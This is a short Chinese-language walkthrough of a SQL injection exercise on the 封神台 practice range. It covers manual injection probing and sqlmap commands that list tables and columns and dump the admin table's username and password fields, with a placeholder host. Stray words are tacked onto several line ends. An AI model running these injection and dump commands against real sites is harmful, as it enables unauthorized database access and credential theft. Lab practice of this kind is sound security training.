靶场地址:封神台php
方法1、首先尝试手工找注入点判断python
查询当前数据库版本sql
绝大数状况下,管理员的帐号密码都在admin表里数据库
查出 admin 表里 有 id username password 三个字段工具
limit 1,1 没有回显,说明只有一个用户学习
sqlmap.py -u “xxx:8003/index.php?id=1”
sqlmap.py -u “xxx:8003/index.php?id=1” --tables
根据猜解的表进行猜解表的字段spa
win: python sqlmap.py -u "xxx:8003/index.php?id=1" --columns -T admin
根据字段猜解内容code
sqlmap.py -u “xxx.xxx.xxx.xxx:8003/index.php?id=1” -D maoshe -T admin -C password,username --dump #-D 接数据库名字 -T接表名 -C接要查的字段名称逗号隔开 --dump 生成dump文件
爆出须要的字段orm